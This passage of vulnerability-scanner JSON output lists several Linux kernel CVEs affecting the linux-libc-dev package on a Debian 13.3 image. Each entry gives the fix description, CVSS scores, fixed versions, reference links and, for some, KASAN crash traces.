"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23395", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/5b3e2052334f2ff6d5200e952f4aa66994d09899%20%287.0-rc5%29", "https://git.kernel.org/stable/c/10a7a702542240d5edb2b39450ac951c59ccd009", "https://git.kernel.org/stable/c/2124d82fd25e1671bb3ceb37998af5aae5903e06", "https://git.kernel.org/stable/c/46e5b71666fb7652082e4e214a3365f4b14f1dc3", "https://git.kernel.org/stable/c/5b3e2052334f2ff6d5200e952f4aa66994d09899", "https://git.kernel.org/stable/c/6b949a6b33cbdf621d9fc6f0c48ac00915dbf514", "https://git.kernel.org/stable/c/8d0d94f8ba5b3a0beec3b0da558b9bea48018117", "https://git.kernel.org/stable/c/e72ee455297b794b852e5cea8d2d7bb17312172a", "https://git.kernel.org/stable/c/fb4a3a26483f3ea2cd21c7a2f7c45d5670600465", "https://linux.oracle.com/cve/CVE-2026-23395.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032549-CVE-2026-23395-5e50@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23395", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23395" ], "PublishedDate": "2026-03-25T11:16:40.347Z", "LastModifiedDate": "2026-10-19T19:17:46.807Z" }, { "VulnerabilityID": "CVE-2026-23397", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23397", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:176683b704ead5965b75d361aeeb0874021b3ac6f2cf356d289f04f737b1d946", "Title": "Linux kernel: nfnetlink_osf: Linux kernel: Denial of Service in nfnetlink_osf via crafted network packets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfnetlink_osf: validate individual option lengths in fingerprints\n\nnfnl_osf_add_callback() validates opt_num bounds and string\nNUL-termination but does not check individual option length fields.\nA zero-length option causes nf_osf_match_one() to enter the option\nmatching loop even when foptsize sums to zero, which matches packets\nwith no TCP options where ctx-\u003eoptp is NULL:\n\n Oops: general protection fault\n KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)\n Call Trace:\n nf_osf_match (net/netfilter/nfnetlink_osf.c:227)\n xt_osf_match_packet (net/netfilter/xt_osf.c:32)\n ipt_do_table (net/ipv4/netfilter/ip_tables.c:293)\n nf_hook_slow (net/netfilter/core.c:623)\n ip_local_deliver (net/ipv4/ip_input.c:262)\n ip_rcv (net/ipv4/ip_input.c:573)\n\nAdditionally, an MSS option (kind=2) with length \u003c 4 causes\nout-of-bounds reads when nf_osf_match_one() unconditionally accesses\noptp[2] and optp[3] for MSS value extraction. While RFC 9293\nsection 3.2 specifies that the MSS option is always exactly 4\nbytes (Kind=2, Length=4), the check uses \"\u003c 4\" rather than\n\"!= 4\" because lengths greater than 4 do not cause memory\nsafety issues -- the buffer is guaranteed to be at least\nfoptsize bytes by the ctx-\u003eoptsize == foptsize check.\n\nReject fingerprints where any option has zero length, or where an MSS\noption has length less than 4, at add time rather than trusting these\nvalues in the packet matching hot path.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23397", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/dbdfaae9609629a9569362e3b8f33d0a20fd783c%20%287.0-rc5%29", "https://git.kernel.org/stable/c/224f4678812e1a7bc8341bcb666773a0aec5ea6f", "https://git.kernel.org/stable/c/3932620c04c2938c93c0890c225960d3d34ba355", "https://git.kernel.org/stable/c/3c11b5c2436a3a5b450612ab160e3a525b28cfb5", "https://git.kernel.org/stable/c/4c6aa008b913e808c4f4d3cde36cb1d9bb5967c6", "https://git.kernel.org/stable/c/aa0574182c46963c3cdb8cde46ec93aca21100d8", "https://git.kernel.org/stable/c/dbdfaae9609629a9569362e3b8f33d0a20fd783c", "https://git.kernel.org/stable/c/e9cf17b91e733fec725ebcc0b3098bc5ccd505e0", "https://git.kernel.org/stable/c/ec8bf0571b142f29dc0b68ae2ac3952f7a464b38", "https://linux.oracle.com/cve/CVE-2026-23397.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032634-CVE-2026-23397-d4f0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23397", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23397" ], "PublishedDate": "2026-03-26T11:16:19.72Z", "LastModifiedDate": "2026-11-05T22:18:23.563Z" }, { "VulnerabilityID": "CVE-2026-23412", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23412", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:822099bda2251dc05fa07530558d944fe4ea2c30ae63e77fa18010afb9e824fc", "Title": "kernel: netfilter: bpf: defer hook memory release until rcu readers are done", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: bpf: defer hook memory release until rcu readers are done\n\nYiming Qian reports UaF when concurrent process is dumping hooks via\nnfnetlink_hooks:\n\nBUG: KASAN: slab-use-after-free in nfnl_hook_dump_one.isra.0+0xe71/0x10f0\nRead of size 8 at addr ffff888003edbf88 by task poc/79\nCall Trace:\n \u003cTASK\u003e\n nfnl_hook_dump_one.isra.0+0xe71/0x10f0\n netlink_dump+0x554/0x12b0\n nfnl_hook_get+0x176/0x230\n [..]\n\nDefer release until after concurrent readers have completed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23412", "https://git.kernel.org/linus/24f90fa3994b992d1a09003a3db2599330a5232a%20%287.0-rc5%29", "https://git.kernel.org/stable/c/24f90fa3994b992d1a09003a3db2599330a5232a", "https://git.kernel.org/stable/c/54244d54a971c26a0cd0a9073460ff71f3c51b32", "https://git.kernel.org/stable/c/c25e0dec366ae99b7264324ce3c7cbaea34691f9", "https://git.kernel.org/stable/c/cb2bf5efdb02a2a59faf603604a1066e8266f349", "https://git.kernel.org/stable/c/d016c216bc75c45128160593a77b864a04dbe7c0", "https://linux.oracle.com/cve/CVE-2026-23412.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040201-CVE-2026-23412-4daa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23412", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23412" ], "PublishedDate": "2026-04-02T12:16:20.27Z", "LastModifiedDate": "2026-10-19T19:17:46.983Z" }, { "VulnerabilityID": "CVE-2026-23413", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23413", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c4b288ebf67077b42605f8c7b8c28cd32a7e792532603744c4a2161ba506b50", "Title": "kernel: clsact: Fix use-after-free in init/destroy rollback asymmetry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nclsact: Fix use-after-free in init/destroy rollback asymmetry\n\nFix a use-after-free in the clsact qdisc upon init/destroy rollback asymmetry.\nThe latter is achieved by first fully initializing a clsact instance, and\nthen in a second step having a replacement failure for the new clsact qdisc\ninstance. clsact_init() initializes ingress first and then takes care of the\negress part. This can fail midway, for example, via tcf_block_get_ext(). Upon\nfailure, the kernel will trigger the clsact_destroy() callback.\n\nCommit 1cb6f0bae504 (\"bpf: Fix too early release of tcx_entry\") details the\nway how the transition is happening. If tcf_block_get_ext on the q-\u003eingress_block\nends up failing, we took the tcx_miniq_inc reference count on the ingress\nside, but not yet on the egress side. clsact_destroy() tests whether the\n{ingress,egress}_entry was non-NULL. However, even in midway failure on the\nreplacement, both are in fact non-NULL with a valid egress_entry from the\nprevious clsact instance.\n\nWhat we really need to test for is whether the qdisc instance-specific ingress\nor egress side previously got initialized. This adds a small helper for checking\nthe miniq initialization called mini_qdisc_pair_inited, and utilizes that upon\nclsact_destroy() in order to fix the use-after-free scenario. Convert the\ningress_destroy() side as well so both are consistent to each other.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23413", "https://git.kernel.org/linus/a0671125d4f55e1e98d9bde8a0b671941987e208%20%287.0-rc5%29", "https://git.kernel.org/stable/c/0509b762bc5e8ea7b8391130730c6d8502fc6e69", "https://git.kernel.org/stable/c/37bef86e5428d59f70a4da82b80f9a8f252fecbe", "https://git.kernel.org/stable/c/4c9af67f99aa3e51b522c54968ab3ac8272be41c", "https://git.kernel.org/stable/c/a0671125d4f55e1e98d9bde8a0b671941987e208", "https://git.kernel.org/stable/c/a73d95b57bf9faebdfed591bcb7ed9292062a84c", "https://linux.oracle.com/cve/CVE-2026-23413.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040203-CVE-2026-23413-fa13@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23413", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23413" ], "PublishedDate": "2026-04-02T12:16:20.44Z", "LastModifiedDate": "2026-10-19T19:17:47.147Z" }, { "VulnerabilityID": "CVE-2026-23422", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23422", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b354579f15b6dff2d050c027a7ff469ae57b4ce64c050c114049df62953f8013", "Title": "In the Linux kernel, the following vulnerability has been resolved: d ...", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: Fix interrupt storm after receiving bad if_id in IRQ handler\n\nCommit 31a7a0bbeb00 (\"dpaa2-switch: add bounds check for if_id in IRQ\nhandler\") introduces a range check for if_id to avoid an out-of-bounds\naccess. If an out-of-bounds if_id is detected, the interrupt status is\nnot cleared. This may result in an interrupt storm.\n\nClear the interrupt status after detecting an out-of-bounds if_id to avoid\nthe problem.\n\nFound by an experimental AI code review agent at Google.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23422", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/stable/c/00f42ace446f1e4bf84988f2281131f52cd32796", "https://git.kernel.org/stable/c/28fd8ac1d49389cb230d712116f54e27ebec11b8", "https://git.kernel.org/stable/c/74badb9c20b1a9c02a95c735c6d3cd6121679c93", "https://git.kernel.org/stable/c/7def51cb9fb8b8d5342443372b8cf28d8fbd7f3d", "https://git.kernel.org/stable/c/b5bababe7703a7322bc59b803ab1587887a2a5e4", "https://git.kernel.org/stable/c/c7becfe3e604d138bd53b8ac3111b2b3e8ec6b0e", "https://git.kernel.org/stable/c/fa4412cdc5178a48799bafcb8af28fd2fbf3d703", "https://lore.kernel.org/linux-cve-announce/2026040304-CVE-2026-23422-1e6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23422", "https://www.cve.org/CVERecord?id=CVE-2026-23422" ], "PublishedDate": "2026-04-03T14:16:28.32Z", "LastModifiedDate": "2026-10-15T02:18:55.73Z" }, { "VulnerabilityID": "CVE-2026-23427", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23427", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7fbea2e2b2f851013780864876329376cd30bac9c1c993d6330f5017c60dcc4d", "Title": "kernel: ksmbd: fix use-after-free in durable v2 replay of active file handles", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in durable v2 replay of active file handles\n\nparse_durable_handle_context() unconditionally assigns dh_info-\u003efp-\u003econn\nto the current connection when handling a DURABLE_REQ_V2 context with\nSMB2_FLAGS_REPLAY_OPERATION. ksmbd_lookup_fd_cguid() does not filter by\nfp-\u003econn, so it returns file handles that are already actively connected.\nThe unconditional overwrite replaces fp-\u003econn, and when the overwriting\nconnection is subsequently freed, __ksmbd_close_fd() dereferences the\nstale fp-\u003econn via spin_lock(\u0026fp-\u003econn-\u003ellist_lock), causing a\nuse-after-free.\n\nKASAN report:\n\n[ 7.349357] ==================================================================\n[ 7.349607] BUG: KASAN: slab-use-after-free in _raw_spin_lock+0x75/0xe0\n[ 7.349811] Write of size 4 at addr ffff8881056ac18c by task kworker/1:2/108\n[ 7.350010]\n[ 7.350064] CPU: 1 UID: 0 PID: 108 Comm: kworker/1:2 Not tainted 7.0.0-rc3+ #58 PREEMPTLAZY\n[ 7.350068] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 7.350070] Workqueue: ksmbd-io handle_ksmbd_work\n[ 7.350083] Call Trace:\n[ 7.350087] \u003cTASK\u003e\n[ 7.350087] dump_stack_lvl+0x64/0x80\n[ 7.350094] print_report+0xce/0x660\n[ 7.350100] ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[ 7.350101] ? __pfx___mod_timer+0x10/0x10\n[ 7.350106] ? _raw_spin_lock+0x75/0xe0\n[ 7.350108] kasan_report+0xce/0x100\n[ 7.350109] ? _raw_spin_lock+0x75/0xe0\n[ 7.350114] kasan_check_range+0x105/0x1b0\n[ 7.350116] _raw_spin_lock+0x75/0xe0\n[ 7.350118] ? __pfx__raw_spin_lock+0x10/0x10\n[ 7.350119] ? __call_rcu_common.constprop.0+0x25e/0x780\n[ 7.350125] ? close_id_del_oplock+0x2cc/0x4e0\n[ 7.350128] __ksmbd_close_fd+0x27f/0xaf0\n[ 7.350131] ksmbd_close_fd+0x135/0x1b0\n[ 7.350133] smb2_close+0xb19/0x15b0\n[ 7.350142] ? __pfx_smb2_close+0x10/0x10\n[ 7.350143] ? xas_load+0x18/0x270\n[ 7.350146] ? _raw_spin_lock+0x84/0xe0\n[ 7.350148] ? __pfx__raw_spin_lock+0x10/0x10\n[ 7.350150] ? _raw_spin_unlock+0xe/0x30\n[ 7.350151] ? ksmbd_smb2_check_message+0xeb2/0x24c0\n[ 7.350153] ? ksmbd_tree_conn_lookup+0xcd/0xf0\n[ 7.350154] handle_ksmbd_work+0x40f/0x1080\n[ 7.350156] process_one_work+0x5fa/0xef0\n[ 7.350162] ? assign_work+0x122/0x3e0\n[ 7.350163] worker_thread+0x54b/0xf70\n[ 7.350165] ? __pfx_worker_thread+0x10/0x10\n[ 7.350166] kthread+0x346/0x470\n[ 7.350170] ? recalc_sigpending+0x19b/0x230\n[ 7.350176] ? __pfx_kthread+0x10/0x10\n[ 7.350178] ret_from_fork+0x4fb/0x6c0\n[ 7.350183] ? __pfx_ret_from_fork+0x10/0x10\n[ 7.350185] ? __switch_to+0x36c/0xbe0\n[ 7.350188] ? __pfx_kthread+0x10/0x10\n[ 7.350190] ret_from_fork_asm+0x1a/0x30\n[ 7.350197] \u003c/TASK\u003e\n[ 7.350197]\n[ 7.355160] Allocated by task 123:\n[ 7.355261] kasan_save_stack+0x33/0x60\n[ 7.355373] kasan_save_track+0x14/0x30\n[ 7.355484] __kasan_kmalloc+0x8f/0xa0\n[ 7.355593] ksmbd_conn_alloc+0x44/0x6d0\n[ 7.355711] ksmbd_kthread_fn+0x243/0xd70\n[ 7.355839] kthread+0x346/0x470\n[ 7.355942] ret_from_fork+0x4fb/0x6c0\n[ 7.356051] ret_from_fork_asm+0x1a/0x30\n[ 7.356164]\n[ 7.356214] Freed by task 134:\n[ 7.356305] kasan_save_stack+0x33/0x60\n[ 7.356416] kasan_save_track+0x14/0x30\n[ 7.356527] kasan_save_free_info+0x3b/0x60\n[ 7.356646] __kasan_slab_free+0x43/0x70\n[ 7.356761] kfree+0x1ca/0x430\n[ 7.356862] ksmbd_tcp_disconnect+0x59/0xe0\n[ 7.356993] ksmbd_conn_handler_loop+0x77e/0xd40\n[ 7.357138] kthread+0x346/0x470\n[ 7.357240] ret_from_fork+0x4fb/0x6c0\n[ 7.357350] ret_from_fork_asm+0x1a/0x30\n[ 7.357463]\n[ 7.357513] The buggy address belongs to the object at ffff8881056ac000\n[ 7.357513] which belongs to the cache kmalloc-1k of size 1024\n[ 7.357857] The buggy address is located 396 bytes inside of\n[ 7.357857] freed 1024-byte region \n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23427", "https://git.kernel.org/linus/b425e4d0eb321a1116ddbf39636333181675d8f4%20%287.0-rc5%29", "https://git.kernel.org/stable/c/568a25fd7bcdfb2790f7d42aa2a440dca4435c96", "https://git.kernel.org/stable/c/9b0792c3eacf01e67f356d6ef9707b0ae5022419", "https://git.kernel.org/stable/c/a5828c14a9e3d5eeed0bcc0a58f0f3fbca0cdcb2", "https://git.kernel.org/stable/c/b0158d9d6f4ec5941e49a0b812735db2844f9975", "https://git.kernel.org/stable/c/b425e4d0eb321a1116ddbf39636333181675d8f4", "https://lore.kernel.org/linux-cve-announce/2026040307-CVE-2026-23427-5456@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23427", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://www.cve.org/CVERecord?id=CVE-2026-23427" ], "PublishedDate": "2026-04-03T16:16:23.797Z", "LastModifiedDate": "2026-06-17T10:21:33.683Z" }, { "VulnerabilityID": "CVE-2026-23428", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23428", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9d355354bb135295bb48897db2429642f22816fc346812529ec7ec4918e2f30e", "Title": "kernel: ksmbd: fix use-after-free of share_conf in compound request", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free of share_conf in compound request\n\nsmb2_get_ksmbd_tcon() reuses work-\u003etcon in compound requests without\nvalidating tcon-\u003et_state. ksmbd_tree_conn_lookup() checks t_state ==\nTREE_CONNECTED on the initial lookup path, but the compound reuse path\nbypasses this check entirely.\n\nIf a prior command in the compound (SMB2_TREE_DISCONNECT) sets t_state\nto TREE_DISCONNECTED and frees share_conf via ksmbd_share_config_put(),\nsubsequent commands dereference the freed share_conf through\nwork-\u003etcon-\u003eshare_conf.\n\nKASAN report:\n\n[ 4.144653] ==================================================================\n[ 4.145059] BUG: KASAN: slab-use-after-free in smb2_write+0xc74/0xe70\n[ 4.145415] Read of size 4 at addr ffff88810430c194 by task kworker/1:1/44\n[ 4.145772]\n[ 4.145867] CPU: 1 UID: 0 PID: 44 Comm: kworker/1:1 Not tainted 7.0.0-rc3+ #60 PREEMPTLAZY\n[ 4.145871] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 4.145875] Workqueue: ksmbd-io handle_ksmbd_work\n[ 4.145888] Call Trace:\n[ 4.145892] \u003cTASK\u003e\n[ 4.145894] dump_stack_lvl+0x64/0x80\n[ 4.145910] print_report+0xce/0x660\n[ 4.145919] ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[ 4.145928] ? smb2_write+0xc74/0xe70\n[ 4.145931] kasan_report+0xce/0x100\n[ 4.145934] ? smb2_write+0xc74/0xe70\n[ 4.145937] smb2_write+0xc74/0xe70\n[ 4.145939] ? __pfx_smb2_write+0x10/0x10\n[ 4.145942] ? _raw_spin_unlock+0xe/0x30\n[ 4.145945] ? ksmbd_smb2_check_message+0xeb2/0x24c0\n[ 4.145948] ? smb2_tree_disconnect+0x31c/0x480\n[ 4.145951] handle_ksmbd_work+0x40f/0x1080\n[ 4.145953] process_one_work+0x5fa/0xef0\n[ 4.145962] ? assign_work+0x122/0x3e0\n[ 4.145964] worker_thread+0x54b/0xf70\n[ 4.145967] ? __pfx_worker_thread+0x10/0x10\n[ 4.145970] kthread+0x346/0x470\n[ 4.145976] ? recalc_sigpending+0x19b/0x230\n[ 4.145980] ? __pfx_kthread+0x10/0x10\n[ 